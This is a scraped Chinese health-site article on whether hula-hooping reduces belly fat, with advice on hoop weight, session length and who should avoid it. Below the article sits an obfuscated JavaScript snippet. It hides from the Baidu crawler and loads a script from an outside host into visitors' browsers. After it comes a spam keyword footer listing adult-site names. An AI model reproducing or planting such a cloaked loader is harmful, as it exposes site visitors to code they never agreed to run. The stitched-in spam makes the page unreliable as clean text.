<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      呼啦圈瘦肚子有效嗎

      2017-04-17 07:33:09  來源:360常識網(wǎng)   熱度:
      導語:相信很多朋友對于呼啦圈應該都不會太陌生,因為這是屬于一項娛樂性的運動,不過現(xiàn)在很多朋友會把它來當作是一種減肥方法來使用,這項運動相

      相信很多朋友對于呼啦圈應該都不會太陌生,因為這是屬于一項娛樂性的運動,不過現(xiàn)在很多朋友會把它來當作是一種減肥方法來使用,這項運動相對于其他運動來說強度不是特別大,所以想要達到減肥的效果就需要在加長運動的時間,很多人肚子上有很多脂肪,那么呼啦圈瘦肚子有效嗎?

      呼啦圈能減肚子。轉呼啦圈的時候延長運動時間而且是持續(xù)性的運動,達到有氧運動的階段,這樣就可消耗身體儲存的脂肪及過多的熱量。加上轉呼啦圈不可以幫助腸道的蠕動,促進腸胃的消化,也有助于暢通排便哦,從而有效防治便秘呢。除此之外,轉呼啦圈還能加快身體的血液循環(huán)呢!

      選用重的還是輕的呼啦圈好?

      很多人認為還是選擇重的呼啦圈比較好,這樣能用的力更大,能甩掉更多的脂肪。其實不然,關鍵在于個人的體質和身材問題。如果你體質較差,身子較小,還選擇那種較重的呼啦圈的話,在開始甩的時候就要花很大的勁,對你來說,這就變成了劇烈運動。但是如果你的時間不夠長,這樣短暫的劇烈運動只是無氧運動,只會感覺到全身的酸痛,而不會有減肥的效果。而且太重的呼啦圈在甩動時撞擊腹部、背部內(nèi)的臟器的力量較大,可能會傷到這些部位哦。因此,建議選用重量適中的呼啦圈哦。

      哪些人不適合轉呼啦圈?

      腰部旋轉練習屬于中等運動強度,青少年、腰腹肌力較差者、體型發(fā)胖的中年人、腰部脂肪堆積較多的青年男女、體質測定腰圍比例較大者都可以轉呼啦圈瘦腰。但是兒童、老年人、患有腰椎骨質增生、腰椎間盤突出癥的患者要慎用,高血壓、心臟病患者不宜使用。還有,飯前飯后1小時之內(nèi)不運動;不將呼啦圈放在脖子上運動;兒童僅將呼啦圈作為娛樂進行玩耍;女性孕期、月經(jīng)期避免運動。

      轉呼啦圈減肚子注意事項

      時間不可長不可短

      其實,無論怎么減肥,都要記住一條,只有有氧運動才能消耗身體內(nèi)的脂肪及多多的能量,所以像武松耍大刀那么來兩下,是沒有什么用的。短暫的劇烈運動屬于無氧運動,只會換來腰部肌肉的無比的酸痛,而不能瘦掉你的水桶腰和多余的熱量。外加搖呼啦圈的運動強度并不是很強,惟有延長運動時間而且是持續(xù)性的運動,才可以達到有氧運動的階段,也只有在這個階段,你的瘦腰A計劃才可以有效。一般正常成年人連續(xù)鍛煉以15-20分鐘最佳,每日運動時間保持在30-50分鐘最好。時間應保持在30~50分鐘最好。

      遵循三三制,加快心跳

      體委說過很多廢話,但是有一條很好,值得表揚和借鑒,即每周運動三次,每次至少三十分鐘,心跳達一百三十下。所以,想要將轉呼啦圈的強度提上去,必須要加快搖動的速度,才能使得心跳上一百三。

      以上就是關于呼啦圈瘦肚子有效嗎的一個介紹,大家如果選擇用呼啦圈來進行減肥是需要在運動的時候加長時間的,所以一定要堅持下來,在進行這項運動之前應該做一些熱身運動,活動一下自己的腰部,如果是一些腰部曾經(jīng)受到過傷害的朋友最好是不要進行這項運動。

      轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 色综合婷婷在线| 激情综合色五月丁香六月亚洲| 亚洲综合视频在线| 伊人网综合影院| 久久99国产综合精品| 欧美日韩亚洲国内综合网| 久久亚洲精品人成综合网| 自拍三级综合影视| 欧美色综合久久久久久| 国产成人亚洲综合| 亚洲va欧美va天堂v国产综合| 久久综合综合久久97色| 久久一日本道色综合久久| 国产欧美综合一区二区三区| 亚洲一本综合久久| 亚洲国产综合精品中文第一| 亚洲综合日韩精品欧美综合区| 亚洲精品综合久久| 色狠狠色狠狠综合一区| 婷婷综合缴情亚洲狠狠图片| 欧美亚洲日韩国产综合网| 一本久久综合亚洲鲁鲁五月天亚洲欧美一区二区 | 欧美日韩国产综合视频在线观看| 亚洲色欲久久久综合网| 狠狠综合久久综合中文88| 国产日韩欧美综合| 狠狠色伊人久久精品综合网| 亚洲综合五月天| 久久久久AV综合网成人| 国产婷婷色综合AV蜜臀AV| 欧美精品综合视频一区二区| 久久综合久久性久99毛片| 97SE亚洲国产综合自在线观看| 久久精品桃花综合| 狠狠色狠狠色综合| 国产人成精品综合欧美成人| 狠狠色狠狠色综合日日五| 亚洲av伊人久久综合密臀性色| 国产精品综合久成人| 亚洲国产欧洲综合997久久| 国产成人亚洲综合色影视|